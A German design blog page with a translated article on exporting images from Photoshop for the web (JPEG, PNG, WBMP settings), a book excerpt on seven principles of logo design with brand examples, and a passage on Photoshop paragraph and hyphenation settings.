Horizontale Skalierung auf 100 % zurücksetzen cmd + Wahltaste + Shift + X Strg + Alt + Shift + X
Zeilenabstand automatisch cmd + Wahltaste + Shift + A Strg + Alt + Shift + A

(mm),

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop

Bilder mit Photoshop fürs Web aufbereiten – Dateiformate, Teil 2

Thomas Giannatosio (Übersetzung Manuela Müller)

Für all jene Webworker, die Online-Shops, Blogs oder Informationsseiten pflegen oder betreiben ohne eine Ausbildung beziehungsweise Fachwissen in Webdesign und Bildbearbeitung zu haben, stellt sich immer wieder die Frage, welches Dateiformat Fotos im Web idealerweise haben sollten. Wenn Sie Ihre eher rudimentären Kenntnisse gerne verfeinern möchten, ist dieser Teil der Artikelserie über den Export von Fotos fürs Web ideal für Sie.

JPEG

Das Kompressionsverfahren der Joint Photographic Experts Group (JPEG) unterscheidet sich drastisch von GIF oder PNG wie im vorigen Teil dieser Artikelserie beschrieben. Der Hauptunterschied besteht darin, dass JPEG ein verlustbehaftetes Dateiformat ist. Im Klartext: Es komprimiert Bilder, indem es die Qualität reduziert. Solange das Verfahren vorsichtig angewandt wird, ist der Qualitätsverlust für das menschliche Auge nicht sichtbar. Trotzdem ist JPEG ideal für Fotografien und andere komplexe Bildkompositionen. JPEG sind auch dazu in der Lage, Metadaten einzubetten, was für Copyright-Vermerke und andere Informationen zum Bild nützlich ist.


JPEG-Kompression kann unerwünschte Artefakte schaffen. Sehr starke Kompression kann zu Schachbrett-artigen Feldern führen wie im unteren Bild.

Qualität

Die Qualitäts-Einstellung ist das vorrangige Mittel zum Einstellen der Kompression einer JPEG-Datei. Je niedriger der Wert, desto stärker wird die Datei komprimiert und desto schlechter sieht  Ihr Bild aus. Leider gibt es hier keinen Idealwert. Sie müssen das für jedes Bild individuell und nach eigenem Empfinden entscheiden, wie stark Sie komprimieren können, ohne das Bild zu ruinieren.


Über die Qualitätsoption regulieren Sie die ideale Balance zwischen Komprimierungsgrad und Bildqualität.

Progressiv

JPEGs mit der Option Progressiv werden nach und nach herunter geladen, ähnlich GIFs mit der Option Interlaced. Anwender mit einer langsamen Internetverbindung können die Bilder schneller sehen, anfangs jedoch in einer geringeren Qualität. Die Qualität wird dann progressiv aufgebaut. In die Datei müssen dafür mehr Daten eingebunden werden, was die Dateigröße erhöht. In Anbetracht der heute überwiegend vorhandenen Breitbandverbindungen ist diese Option eher unnötig.

Optimiert

Wenn Sie diese Option aktivieren, durchläuft die Datei eine zusätzliche Komprimierungsroutine (Huffman Coding), um die Dateigröße weiter zu reduzieren. Es wird empfohlen, diese Einstellung zu aktivieren, weil sie die Dateigröße sehr effektiv verringert, ohne die Qualität zu beeinträchtigen.

Farbprofil einbetten

JPEGs können ICC-Farbprofile aufnehmen. Diese Daten lesen Browser aus und wissen so, wie sie die Bilddaten darstellen sollen. Bedauerlicherweise ignoriert die Mehrheit der Browser eingebettete Farbprofile. Standardmäßig ist die Option deaktiviert, dass sollten Sie derzeit auch so lassen.

Weichzeichnen

Bedingt durch die Arbeitsweise der JPEG-Kompression, lassen sich verschwommene Bildbereiche stärker komprimieren als solche mit stark kontrastierenden Farbkombinationen. Aus diesem Grund können Sie mit Photoshop Bilder vor dem Exportieren weichzeichnen. Verschwommene Fotos sind natürlich selten erwünscht, doch es gibt auch bestimmte Anwendungsfälle, wo ein sehr dezentes Weichzeichnen die Dateigröße gerade ausreichend reduziert, ohne jedoch die Bildschärfe erkennbar zu beeinträchtigen.

Hintergrund

Da JPEG Transparenz nicht unterstützt, werden jegliche transparente Bildbereich gefüllt und zwar mit der Farbe, die über die Option Hintergrund voreingestellt ist.


Über das Auswahlmenü „Hintergrund“ können Sie eine beliebige Farbe zum Füllen der transparenten Bereiche wählen.

PNG-8 und PNG-24

Das Format Portable Network Graphics (PNG) gibt es in zwei verschiedenen Varianten:

  • PNG 8 – vergleichbar mit GIF
  • PNG 24, das die höchste Qualität bietet
PNG 8 unterstützt 1-Bit-Transparenz und begrenzt die Farbpalette auf 256 Werte – es gleicht wie gesagt dem GIF-Format, so dass Sie weitere Einzelheiten zu Vorzügen und Nachteilen dort nachsehen können. Der einzige wirkliche Unterschied zu GIF besteht darin, dass PNG-8 Animation nicht unterstützt.

PNG 24 ist verlustfrei, aber speicherplatzintensiv

Die zweite Variante ist PNG 24. Dieses Format bietet die höchste Qualität von allen der bisher genannten Dateiformate. PNG 24 ist komplett verlustfrei – das Bild selbst wird durch die Kompression in seiner Qualität nicht beeinträchtigt. Zudem unterstützt PNG 24 8-Bit-Transparenz. Grundsätzlich kann man sagen, dass das, was Sie in der PSD-Datei sehen, das ist, was anschließend beim PNG-24 hinten raus kommt. Der Nachteil liegt hier in der Dateigröße: Weil das Format vier verlustfreie 8-bit-Kanäle enthält, können PNG-24-Dateien enorm groß sein. Nutzen Sie dieses Format nur dann, wenn es wirklich erforderlich ist.
Die Einstellungen sind recht einfach. Sie können Transparenz per Optionsschaltfläche auswählen und Interlacing einstellen – genau wie bei einem GIF. Sie können auch eine Matte-Farbe zufügen, aber nur dann, wenn Sie die Option Transparenz deaktiviert haben.

WBMP

Wireless Bitmap Files (WBMP) wurden für den Einsatz auf Drahtlosgeräten mit monochromen Displays. Sie bestehen nur aus weißen und schwarzen Pixeln. Photoshop erlaubt es Ihnen, den Dithering-Algorithmus zu steuern und den Grad des Ditherings. Die Chancen stehen gut, dass Sie dieses Format niemals benötigen.

Andere Einstellungen

In sRGB konvertieren

Sollten Sie Ihre Arbeitsumgebung auf irgend etwas anderes eingestellt haben als sRGB, können Sie diese Option aktivieren, damit Photoshop die Bilddatei vor dem Export in diesen Modus umrechnet. Sofern Sie beim grundsätzlichen Farbmanagement mit Photoshop bestimmte Einstellungen beachten, sollten Sie diese Option sollten Sie deaktiviert lassen.

Vorschau

Das Auswahlmenü Vorschau bestimmt, wie das Bild in den Optimierungs-Feldern geproofed wird. Wenn Ihr Monitor gut kalibriert und Ihre Arbeitsumgebung richtig eingestellt ist, können Sie über den Eintrag Monitorfarbe sehen, wie die Datei in einem Browser angezeigt wird. Sie können das Bild auch dahingehend proofen, um zu sehen, wie es jeweils auf einem Mac- oder einem Windows-Rechner dargestellt wird. Sie können den Proof auch abstellen, indem Sie die Einstellung Dokumentprofil verwenden auswählen.


Das Auswahlmenü „Vorschau

Metadaten

Wenn Sie mit Ihrer Datei bestimmte Informationen – wie zum Beispiel Kontakt- und Kameradaten oder Urheberrechtsvermerke – weiter geben möchten, können Sie dies über das Auswahlmenü Metadaten erledigen. Es stehen verschiedene Optionen zur Auswahl, wie Sie an der folgenden Abbildung sehen können.


Optionen des Auswahlmenüs „Metadaten“

Diese Funktion kann natürlich nur dann Kontaktdaten und Copyright-Hinweise in die Datei eintragen, wenn Sie diese zuvor über den Befehl Datei / Dateinformationen festgelegt haben. Kameradaten werden automatisch ermittelt. Metadaten können Sie nur bei JPEGs hinzufügen.

Farbtabelle

Bei der Arbeit mit einem indexierten Dateiformat (GIF oder PNG-8) ist es interessant zu wissen, welche Farben in die Datei eingebettet werden. Die Farbtabelle stellt Ihnen diese Informationen über Farbmuster zur Verfügung. Jedes Muster stellt eine in der Datei vorhandene Farbe dar. Sie können dieser Tabelle Farben zufügen oder vorhandene Farben entfernen beziehungsweise verändern. Dafür stehen Ihnen im Auswahlmenü (siehe rote Umrandung der folgendne Abbildung) zahlreiche Optionen zur Verfügung.


Die Farbtabelle können Sie vielfältig bearbeiten.

Transparenz: Einzelnen Farben können Sie Transparenz zuordnen. Sie haben die Wahl zwischen voll transparent oder voll deckend.

Ausgewählte Farben zur Webpalette verschieben/Verschiebung aufheben: Mit dieser Option näheren Sie eine ausgewählte Farbe dem nächsten websicheren Farbwert an. Dazu wählen Sie eine Farbe aus und klicken dann auf den kleinen Würfel (drittes Icon von links in der oberen Abbildung) oder Sie wählen den Befehl aus dem rot umrandeten Auswahlmenü.


Die Optionen des Farbtabellen-Auswahlmenüs.

Farbe fixieren: Mit dem kleinen Schloss-Icon oder über das Auswahlmenü können Sie ausgewählte Farben fixieren. Damit stellen Sie sicher, dass die Farbe auch dann nicht entfernt wird, wenn eine andere Option aktiviert ist, die dies bewirken würde.

Farbfeld zufügen: Falls Ihr Dokument weniger als 256 Farben aufweist, wie im obigen Beispiel, können Sie Ihrer Farbtafel weitere Farben hinzufügen. Wenn Sie auf das Symbol links vom Mülleimer klicken, wird nicht einfach ein neues Farbfeld zugefügt. Stattdessen wird ein anderes Farbfeld, das der Pipettenfarbe am nächsten kommt diagonal geteilt. Im oberen linken Teil wird die bestehende Farbe angezeigt; im unteren rechten Teil erscheint die neue konvertierte Farbe.

Farbe löschen: Um eine Farbe aus der Tabelle zu löschen, wählen Sie das gewünschte Feld aus und klicken dann entweder auf das Tonnen-Symbol oder Sie wählen den Befehl Farbe löschen aus dem Auswahlmenü.

Bildgröße

Wenn Sie ein Bild vor dem Exportieren vergrößern oder verkleinern möchten, können Sie dies über die Bildgröße-Einstellungen erledigen. Verändern Sie die Größe über vorgegebene Werte oder eine Prozentzahl und steuern Sie den Interpolations-Algorithmus über das Auswahlmenü Qualität. Ich empfehle Ihnen jedoch, Änderungen der Bildgröße nicht im Dialog Für Web und Geräte speichern vorzunehmen.

Animation

Über die lediglich vom GIF-Format unterstützten Einstellungen für Animation können Sie die Werte für die Loops einstellen und eine Vorschau der Animation anzeigen.

Im nächsten Teil der Serie lesen Sie:
  • Erstellen und Bearbeiten von Slices
Kategorien
Webdesign

LOGO DESIGN LOVE – die sieben Elemente des Logodesigns

David Airey

Jeder kann ein Logo entwerfen, aber nicht jeder entwirft das passende. Ein erfolgreiches Design mag zwar der im Briefing vorgegebenen Zielsetzung entsprechen, aber ein wirklich herausragendes Design ist noch dazu einfach, themenbezogen, dauerhaft, einprägsam und anpassungsfähig. Der folgende Text stammt aus dem Buch LOGO DESIGN LOVE von David Airey und ist ein Gastbeitrag des ADDISON-WESLEY-Verlags.

So viele Anforderungen scheinen etwas viel verlangt, und das ist es auch. Aber Sie wissen ja, Sie müssen erst die Regeln in jedem kreativen Prozess kennen, bevor Sie diese kreativ brechen können. Ein Sternekoch wirft auch nicht wahllos Zutaten in den Kochtopf. Er wird ein bewährtes Gericht abwandeln und ihm so seine persönliche Note verleihen. Dasselbe gilt für den Entwurf einer Markenidentität. Das Grundelement klassischer Logos sind die Zutaten zu einer Rezeptur, also beleuchten wir diese einmal genauer, bevor wir losgehen und uns unsere eigenen Sporen verdienen.

Halten Sie es einfach

Die einfachste Lösung ist meist die wirkungsvollste. Warum? Weil ein einfaches Logo hilft, den Ansprüchen guten Designs gerecht zu werden.
Einfachheit macht ein Design vielseitiger. Ein minimalistischer Ansatz erlaubt es Ihnen, ein Logo in vielfältigen Medien einzusetzen, z. B. auf Visitenkarten, Werbepostern, Ansteckern und sogar als Favicon von Webseiten.

Ein einfaches Design ist auch leichter wiederzuerkennen, die Chancen für zeitlosere, dauerhaftere Qualität steigen also. Denken Sie nur an die Logos großer Unternehmen wie Mitsubishi, Samsung, FedEx, BBC etc. Deren Logos sind einfach und darum leichter zu erkennen.


FedEx von Lindon Leader, 1994

Außerdem hilft die Einfachheit den Leuten, sich an Ihr Design zu erinnern. Bedenken Sie, wie unser Hirn funktioniert und wie viel einfacher es ist, sich an ein einziges Detail (wie z. B. das Lächeln der Mona Lisa) zu erinnern als an fünf: welche Kleidung sie trägt, wie sie ihre Hände hält, die Farbe ihrer Augen, was hinter ihr sitzt, den Maler (Leonardo da Vinci – aber das hätten Sie gewusst, oder?). Sehen Sie es einmal so: Wenn Sie aufgefordert werden, das Logo von McDonald’s zu skizzieren und dann die Mona Lisa – was kriegen Sie genauer hin?

Aber nehmen wir ein anderes Beispiel.

Das Logo des National Health Service (NHS) ist in Großbritannien eines der präsentesten, sogar so präsent, dass es im Jahr 2000 als Wahrzeichen britischer Gesundheitspolitik übernommen wurde.


National Health Service (NHS) von Moon Brand – Designer: Richard Moon, 1990

Das Logo wurde ursprünglich 1990 von Moon Brand entworfen und besteht aus einer einfachen, sauberen Farbpalette und etwas Schriftdesign. Die Tatsache, dass dieses Design fast 20 Jahre lang unverändert eingesetzt wurde, spricht für seinen Erfolg.

„Wir hielten das Design absichtlich einfach, und zwar aus drei Gründen: um es leicht implementieren zu können, um es so lang wie möglich verwenden zu können und um nicht von den britischen Medien verrissen zu werden, die solche Identitätsprogramme häufig als Verschwendung öffentlicher Gelder betrachten“, sagte Richard Moon, Direktor von Moon Brand. „Der NHS selbst schätzt, dass durch die Einfachheit und den Wiedererkennungswert des Logos Millionen von Pfund eingespart wurden.“

Bleiben Sie beim Thema

Jedes Logo muss zu dem passen, für das es steht. Entwerfen Sie ein Logo für einen Anwalt? Dann lassen Sie den Humor beiseite. Gestalten Sie die Marke einer Skiurlaub-TV-Werbung? Dann bitte keine Wasserbälle. Und bei einer Krebs-Selbsthilfegruppe? Ein Smiley würde hier nicht funktionieren. Ich könnte endlos so weitermachen, aber Sie wissen, was ich meine.

Ihr Design muss zur Branche passen, zu Ihrem Kunden und zur Zielgruppe, für die Sie es entwerfen. Um all diesen Aspekten gerecht zu werden, sind viele Recherchen notwendig, aber der Zeitaufwand lohnt sich: Ohne die Welt Ihres Kunden genau zu kennen, besteht keine Hoffnung, ein Design zu entwickeln, das das Geschäft Ihres Kunden von dem seiner schärfsten Konkurrenten erfolgreich differenziert.

Bedenken Sie jedoch auch, dass das Logo nicht immer sofort offen legen muss, was das Unternehmen tut. Das BMW-Logo zum Beispiel hat mit einem Auto nichts zu tun. Oder das Logo von Hawaiian Airlines, das zeigt auch kein Flugzeug. Aber beide heben sich von der Konkurrenz ab und sind in ihrem Kontext bedeutungsvoll.


Hawaiian Airlines von Lindon Leader, 1993

Josiah Jost von Siah Design aus Alberta, Kanada, erarbeitete eine neue Markenidentität für Ed’s Electric, einen lokalen Elektroanbieter. Josiah lieferte nicht nur ein themenbezogenes Logo, er schuf auch eines, das die meisten Betrachter nicht so schnell vergessen werden.


Ed’s Electric von Josiah Jost, 2008

„Die Idee für Ed’s Electric kam mir, als ich versuchte, etwas im negativen Raum elektrischer Elemente zu finden“, erklärte Jost. „Ich wusste sofort, dass dieses Konzept aufgehen würde.“

Initialen mit doppelter Symbolik

Ein weiteres Design von Moon Brand, hier für Vision Capital, verkörpert den Relevanzbegriff, denn das gehört zur Markenidentität dazu. In ausgedehnten Vorgesprächen mit dem Kunden, bereits vor der kreativen Arbeit, entdeckten die Moon-Brand-Designer, dass es bei Vision Capital um mehr geht als nur um Kapital: Das Unternehmen beschafft Finanzmittel für Investoren, indem es sehr strategisch Unternehmensportfolios einkauft. Also entschieden sich die Designer, ihre gestalterischen Überlegungen auf der „Mehr als“-Idee aufzubauen.


Vision Capital von Moon Brand – Designer: Richard Moon, 1990

Das entstandene Logo transportiert das Konzept ziemlich clever. Indem man das V für „Vision“ drehte, wurde es zum „Größer-als“Zeichen. Dem Betrachter erschließt sich jetzt das Logo sofort als „mehr als Kapital“, während die Initialen des Unternehmens im Grunde erhalten bleiben.

Nur weil Sie ein Logo entwerfen, das in Beziehung zum eigentlich recht langweiligen Finanzmarkt steht, heißt das noch lange nicht, dass es nicht sehr bedeutungstragend und dynamisch sein kann.

Binden Sie Traditionen ein

In Bezug auf Logodesign und Markenidentität kann man die Trends getrost der Modebranche überlassen. Trends kommen und gehen und das Letzte, was Sie wollen, ist, Ihre wertvolle Zeit und die wertvollen Mittel Ihrer Kunden in ein Design zu investieren, das über Nacht bereits unmodern ist. Langlebigkeit ist der Schlüssel zum Erfolg und ein Logo sollte ebenso lange am Markt bleiben wie das Unternehmen, das es repräsentiert. Von Zeit zu Zeit kann man es etwas nachbearbeiten und auffrischen, aber die grundlegende Idee sollte erhalten bleiben.


Vanderbilt University von Malcolm Grear Designers, 2002

Die Agentur Malcolm Grear Designers mit Sitz in Rhode Island schuf die Unternehmensidentität für Vanderbilt. Dazu integrierte man zwei Symbole, die seit langem mit der Universität in Verbindung gebracht werden: das Eichenblatt (Stärke und Standhaftigkeit) und die Eichel (der Samen der Wissenschaft). Diese Elemente reektieren außerdem den Status der Einrichtung als aktives Arboretum.

„Bei einem Logodesign-Projekt sollte immer der Designer derjenige sein, der sich am schwersten mit der Arbeit zufriedengibt“, sagte Malcolm Grear. „Die Herausforderung ist erheblich, denn das Logo muss einprägsam und möglichst zeitlos sein. Ich gehe nie mit der Mode. Ich möchte die Standards selbst setzen und mich nicht nach anderen richten.“


Vanderbilt University von Malcolm Grear Designers, 2002

Heben Sie sich ab

Ein unverwechselbares Logo ist eines, das sich leicht von den Mitbewerbern unterscheidet. Es zeichnet sich durch seine einzigartige Qualität oder seinen Stil aus, der die Unternehmensperspektive Ihres Kunden akkurat wiedergibt. Aber wie schafft man ein so einzigartiges Logo?

Konzentrieren Sie sich zu Beginn auf ein wiedererkennbares Design, das ist strategisch am günstigsten. Mit einem solch hohen Wiedererkennungswert, dass bereits die Form oder der Umriss eindeutig sind. Indem Sie in Schwarzweiß arbeiten, können Sie entscheidende Akzente setzen, denn der Kontrast betont die Form und lenkt nicht von der Grundidee ab. Farbe ist für die Form und den Umriss eher zweitrangig.

SomeOne, eine Designagentur aus London, die sich auf die Einführung oder den Neustart von Marken spezialisiert hat, arbeitete mit der Newspaper Marketing Agency (NMA) zusammen, um zwei einzigartige Logos zu gestalten. Das erste, ein Monogramm mit den Buchstaben NMA, sieht aus, als wäre es aus dem Ärmel geschüttelt: eine Reihe scheinbar wahllos hingeworfener Auf- und Abstriche. Freilich gehört da etwas mehr dazu – allein, auf die Idee zu kommen, ist bereits eine Herausforderung –, aber das Logo ist stark, einfach und bedeutsam. Vor allem hebt es sich von anderen ab und die Betrachter werden es nicht so schnell vergessen.


NMA von SomeOne – Design und Creative Director: David Law, 2003

Das zweite Logo ist eine stilisierte aufgeschlagene Zeitung in der Form des Buchstaben A, der für die Awards for National Newspaper Advertising (oder ANNAs) steht. Auch dieses Logo funktioniert ausgezeichnet in Schwarzweiß. Haben Sie gemerkt, wie einfach ich es beschreiben konnte? Herausragende Logos sind eben immer so einfach, dass ihre Aussage sofort verständlich ist.


ANNAs von SomeOne – Design und Creative Director: David Law, 2006

In einem anderen Beispiel gestaltet der in England ansässige Designer nido die vertrauten Buchstaben des Firmennamens „Talkmore“, einem Händler für Mobiltelefone und entsprechendes Zubehör, äußerst kreativ in Anführungszeichen um. Im Hinblick auf den Firmennamen ist dieses Design sehr bedeutungstragend und charakteristisch für die Branche. Sie sehen, das Logo wurde ebenfalls in Schwarzweiß entworfen, Farbe wird lediglich eingesetzt, um die Anführungszeichen zu betonen. Ein klassisches Beispiel, wie Text ganz und gar nicht leblos wirken muss.


talkmore von nido, 2001

Prägen Sie sich ein

Ein solides Logodesign prägt sich beim Betrachter auf den ersten Blick ein. Stellen Sie sich die Passagiere in einem Bus vor, sie schauen aus dem Fenster, erhaschen einen kurzen Blick auf ein Plakat. Oder ein Fußgänger, der gerade einmal aufschaut, als ein bedruckter LKW vorbeifährt. Ziemlich oft ist der erste Blick die einzige Chance, einen Eindruck zu hinterlassen.

Aber wie konzentriert man sich auf dieses eine Element des Logodesigns? Manchmal ist es hilfreich, einmal zu überlegen, an welche Logos man sich selbst am besten erinnern kann, bevor man sich an den Entwurf macht. Was zeichnet sie aus, warum haben sie sich so gut eingeprägt? Außerdem hilft es, sich ein Zeitlimit für die Ideenskizze zu setzen – probieren Sie aus, ob Sie es in 30 Sekunden schaffen. Beantworten Sie zum anderen die Frage, wie Sie es schaffen können, dass sich Ihr Logo innerhalb weniger Sekunden beim Betrachter einprägt? Sie wollen, dass die Erfahrungen, die der Betrachter mit der Marke Ihres Kunden hat, so in dem Logo aufgehen, dass dessen Identität auf den ersten Blick klar ist.


New Bedford Whaling Museum von Malcolm Grear Designers, 2005

Malcolm Grear Designers arbeiteten mit dem New Bedford Whaling Museum an einer neuen Markenidentität. Das Museum ist das größte Walfang-Museum in Amerika und es illustriert die Geschichte des Walfangs zu einer Zeit, in der Handel und Walfang noch von Segelschiffen dominiert wurden. Durch die Kombination eines Segels mit der Schwanzosse eines Wals und dem einzigartigen Einsatz von Negativraum wird die Idee im Design deutlich: „Walfang im Segelzeitalter“.

Denken Sie in kleinen Dimensionen

So gern Sie auch Ihre Arbeiten auf riesigen Werbetafeln sehen möchten, vergessen Sie nicht, dass Ihr Design auch auf kleinsten Flächen Platz haben muss, die nicht weniger bedeutsam und vor allem notwendig sind, zum Beispiel Reißverschlüsse und Bekleidungsetiketten. Kunden wünschen häufig ein anpassungsfähiges Logo und zeigen sich darüber ziemlich begeistert, denn so können sie nicht unwesentlich Kosten für Druck, Markteinführungsmeetings, potenzielle Redesigns und mehr sparen.


Sugoi von Rethink Communications – Creative Director: Ian Grais / Chris Staples Designer: Nancy Wu, 2007

Bei vielfältig einsetzbaren Designs ist Einfachheit der Schlüssel zum Erfolg. Idealerweise sollte das Logo auch auf einer kleinen Fläche von etwa 2 cm funktionieren, ohne dass Details verloren gehen. Das erreichen Sie nur, indem Sie das Logo einfach halten, was wiederum Ihre Chancen auf ein dauerhaftes Design erhöht.

Nancy Wu, Designerin aus Vancouver, British Columbia, entwickelte diese Markenidentität für Sugoi, einen 20 Jahre alten Hersteller funktioneller Fahrradbekleidung aus Vancouver. Im Laufe der Jahre entwickelte sich die Marke weiter und spricht nun auch Läufer und Triathleten an. Die Firma wünschte sich also ein überarbeitetes Logo mit speziellem Blick auf aktive Lifestyle-Marken.


Sugoi-Kontext, 2007

Das Logo symbolisiert eine stilisierte Person in S-Form, die vorwärts strebt und so das progressive Moment der Marke unterstreicht und die Stärke, repräsentiert, die das Unternehmen ausstrahlt. Unterstützt durch eine eigens entwickelte Typografie steht dieses moderne Logo für Energie, Kühnheit, technische Innovation und Qualität.

Konzentrieren Sie sich auf die Sache

Logodesigns, die aus der Masse herausragen, zeichnen sich nur durch eine Eigenschaft aus. Das war’s. Eine einzige. Nicht zwei oder drei. Ihr Kunde soll sich nur an eines erinnern, wenn er an Ihr Design denkt. Wie ich bereits sagte, werden die Betrachter des Logos nicht viel Zeit damit verbringen, es zu studieren. Ein kurzer Blick, dann sind sie weg.

2008 brauchte die Markenidentität der French Property Exhibition eine Renovierung. Die Messe ist die größte Immobilienausstellung in Großbritannien, und richtet sich an Personen, die ein Anwesen in Frankreich erwerben wollen. Die Chefetage der French Property News, der Publikation in Großbritannien, die die Messe organisiert, fand das alte Logo nicht mehr zeitgemäß. Es erinnerte eher an ein Bistro als an eine große Messe. Die schrägen Pinselstriche waren eine verzerrte Darstellung der Trikolore und die Schrift wirkte etwas unseriös.

Der englische Designer Roy Smith wurde mit dem Redesign des Logos beauftragt.

„Ich probierte verschiedene Varianten als Miniaturskizzen aus – ein entscheidender Teil der Konzeption. Die Nationalflagge, Dächer und Lamellenfensterläden – alles typisch französisch“, sagt Smith.

In seinem finalen Konzept verwendet er die französische Nationalflagge, konzentriert sich jedoch auf eine wichtige Eigenschaft von Immobilien – die geöffnete Tür, die jedermann willkommen heißt.

French Property Exhibition – das alte Logo

French Property Exhibition – das neue Design von Roy Smith Design, 2008

Französisch. Immobilien.

Brillant.

Roy hätte auch weitere Zeichen ins Design einbauen können, vielleicht eine Remiszenz an den Eiffelturm. Schließlich hätte auch jeder den Eiffelturm mit Frankreich assoziiert. Dann hätte sich der Betrachter aber mit einem unnötigen Element auseinandersetzen müssen und das Design wäre weniger einprägsam gewesen.

„Das neue Design ist eine Weiterentwicklung der französischen Trikolore. Es kann als geöffneter Fensterladen oder offene Tür interpretiert werden, die den Besucher empfängt. Außerdem spiegelt es die Ausstellungswände wider“, sagt Smith. „Für die drei Textzeilen entschied ich mich für die ausgewogene Avenir regular in Großbuchstaben, um mit den klaren Linien der Grafik auf einer Höhe zu bleiben.“

Zusammenfassung: Die 7 Zutaten in Ihrem ganz eigenen Gericht

Wir haben uns bereits mit den Elementen beschäftigt, die Ihr Logodesign ausmachen sollten, und wir haben gut gelungene Beispiele betrachtet, um das zu untermauern. Wie gut können Sie sich diese Elemente merken? Da sie schlecht als minimale Schwarzweißstruktur dargestellt werden können, hilft vielleicht eine kurze Zusammenfassung:

  1. Halten Sie es einfach: Die einfachste Lösung ist häufig die wirkungsvollste. Warum? Weil ein einfaches Logo auch die meisten anderen Anforderungen des Logo-Designs erfüllt.
  2. Bleiben Sie beim Thema: Jedes von Ihnen entworfene Logo muss zu dem Unternehmen passen, das es repräsentiert. So gern Sie zum Beispiel ein Logo entwerfen würden, das jedem ein Lächeln auf die Lippen zaubert, so unpassend wäre das jedoch für die Friedhofsverwaltung in Ihrem Ort.
  3. Binden Sie Traditionen ein: Trends kommen und gehen. Das Letzte, was Sie im Markendesign jedoch wollen, ist, viel Zeit und Geld in eine Designrichtung zu investieren, die morgen bereits überholt ist.
  4. Heben Sie sich ab: Beginnen Sie, indem Sie sich auf ein wiedererkennbares Design konzentrieren. So gut wiedererkennbar, dass bereits die Form oder der Umriss eindeutig ist.
  5. Prägen Sie sich ein: Oft haben Sie nur einen Augenblick lang Zeit, einen Eindruck zu hinterlassen. Sie wollen dem Betrachter ein solches Erlebnis bescheren, dass er sich sofort an Ihr Logo erinnert, wenn er es das nächste Mal sieht.
  6. Denken Sie klein: Ihr Design sollte idealerweise auf einer Fläche von ca. 2×2 cm funktionieren, ohne dass Details verloren gehen, um es vielfältig einsetzen zu können.
  7. Konzentrieren Sie sich auf die Sache: Ihr Design darf nur ein charakeristisches Merkmal haben, damit es sich von anderen abhebt. Nicht mehr. Eins. Nicht zwei, drei oder vier.

Regeln sind da, um gebrochen zu werden

Wenn Sie sich an diese Regeln halten, um herausragende Logodesigns zu entwerfen, ist es tatsächlich wahrscheinlich, dass Sie zeitlose und dauerhafte Logos schaffen, die Ihre Kunden begeistern. Aber ist da mehr drin? Und müssen Sie sich immer an die Regeln halten? Sie wissen, dass Regeln dazu sind, gebrochen zu werden. Sie entscheiden, ob Sie neue Wege gehen und Grenzen überschreiten, um Ihr Design eine Stufe über die anderen zu stellen. Die Frage bleibt zwar, ob Ihr Design erfolgreich ist, aber Sie lernen durch Ihre eigenen Fehler viel schneller und besser als durch die Fehler anderer.

(mm),

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop

Photoshop und Typografie – die Optionen der Absatzpalette, Teil 3

Thomas Giannatoso

Photoshop ist eine Bild- und keine Textverarbeitung. Bei Entwürfen von Websites kommt es jedoch oft vor, dass Sie Textblöcke mit Photoshop gestalten müssen. In diesem Teil der Serie geht es darum, wie Sie die Optionen der Absatzpalette optimal einsetzen.

Die Absatzpalette bezieht sich hauptsächlich auf Ränder und Ausrichtung. Diese Einstellungen sind besonders nützlich, wenn große Textblöcke mit einer Textabsatzebene gesetzt werden, sie können jedoch auch bei Punkttextebenen verwendet werden.

Ausrichtung

Photoshop bietet sogar sieben unterschiedliche Einstellungen für die Ausrichtung an: Drei mit Flatterrand und vier bündige. Die ersten drei sind Ihre grundlegenden Flatterrandeinstellungen:

  • Linksbündig,
  • zentriert und
  • rechtsbündig.

Sie stehen sowohl für Punkt- als auch für Absatztext zur Verfügung und sie legen ganz einfach fest, wie jede Textzeile in einem Absatz ausgerichtet ist. Falls eingestellt, wird das Setzen von Trennstrichen nach wie vor angewendet, jedoch ohne Ausrichtung.

Die vier Einstellungen für Blocksatz sind:

  • Blocksatz, letzte linksbündig
  • Blocksatz, letzte zentriert,
  • Blocksatz, letzte rechtsbündig,
  • Text im Blocksatz ausrichten.

Diese Einstellungen sind nur bei Absatztext verfügbar und spationieren den Text so, dass sowohl die linken als auch die rechten Ränder bündig sind.


Eine optimale Ausrichtung verteilt den Text gleichmäßig über die Spalte und gibt der Seite ein ruhiges Erscheinungsbild.


Dieser Text ist schlecht ausgerichtet: Wörter laufen ineinander, die Abstände zwischen den Buchstaben sind zu groß.

Feinschliff mit den Optionen der Absatzpalette

Die oben genannten Einstellungen können Sie mit den Ausrichtungseinstellungen im Ausklappmenü der Absatzpalette noch weiter kontrollieren. Dieser Dialog erlaubt es Ihnen, Grenzwerte zu setzen und eine optimale Einstellung für Laufweite und und Unterschneidung. Hier ist es das ultimative Ziel, einen gleichmäßig getönten Textblock zu erreichen, aber halten Sie die Bereiche so niedrig wie möglich und verwenden Sie die Glyphenskalierung nur, wenn es absolut notwendig ist.

Wortabstand: Stellt den Abstand zwischen ganzen Wörtern ein. 80 %, 100 % und 120 % sind typische Einstellungen, wird darüber hinausgegangen, könnte das zu inkonsistenter Spationierung führen. Versuchen Sie, Zeichenabstand hinzuzufügen statt den Bereich zu erweitern.

Zeichenabstand: Steuert den zwischen den einzelnen Zeichen hinzugefügten Abstand. Das kann lückenhafte Abstände reduzieren, sollte jedoch mit Zurückhaltung verwendet werden (± 5% oder so).

Glyphenabstand: Skaliert Glyphen horizontal, um die Länge der Zeile zu vergrößern oder zu verkleinern. Das sollte so wenig wie möglich eingesetzt werden (nicht mehr als etwa ± 2%).
Autom. Zeilenabstand: Legt den anzuwendenden Zeilenabstand fest, wenn die Option Zeilenabstand in der Zeichenpalette auf Auto eingestellt ist.

Silbentrennung

Die Option Silbentrennung, die in der Grundeinstellung eingeschaltet ist, bricht Wörter am Ende einer Zeile um, um die Ausrichtung zu erhalten und Flatterränder auszugleichen. Sie können die Einstellungen für die Silbentrennung mit der Silbentrennungsoption im Aufklappmenü der Absatzpalette verändern.


Der Dialog Silbentrennung

Mindestwortlänge: Legt die Mindestanzahl von Buchstaben fest, die ein Wort haben muss, um getrennt zu werden. Ein Minimum von fünf ist eine gute Faustregel.

Kürzeste Vorsilbe: Steuert die Mindestanzahl von Buchstaben, die hinter dem Bindestrich verbleiben. Zwei sollten dafür definitiv das Minimum sein.

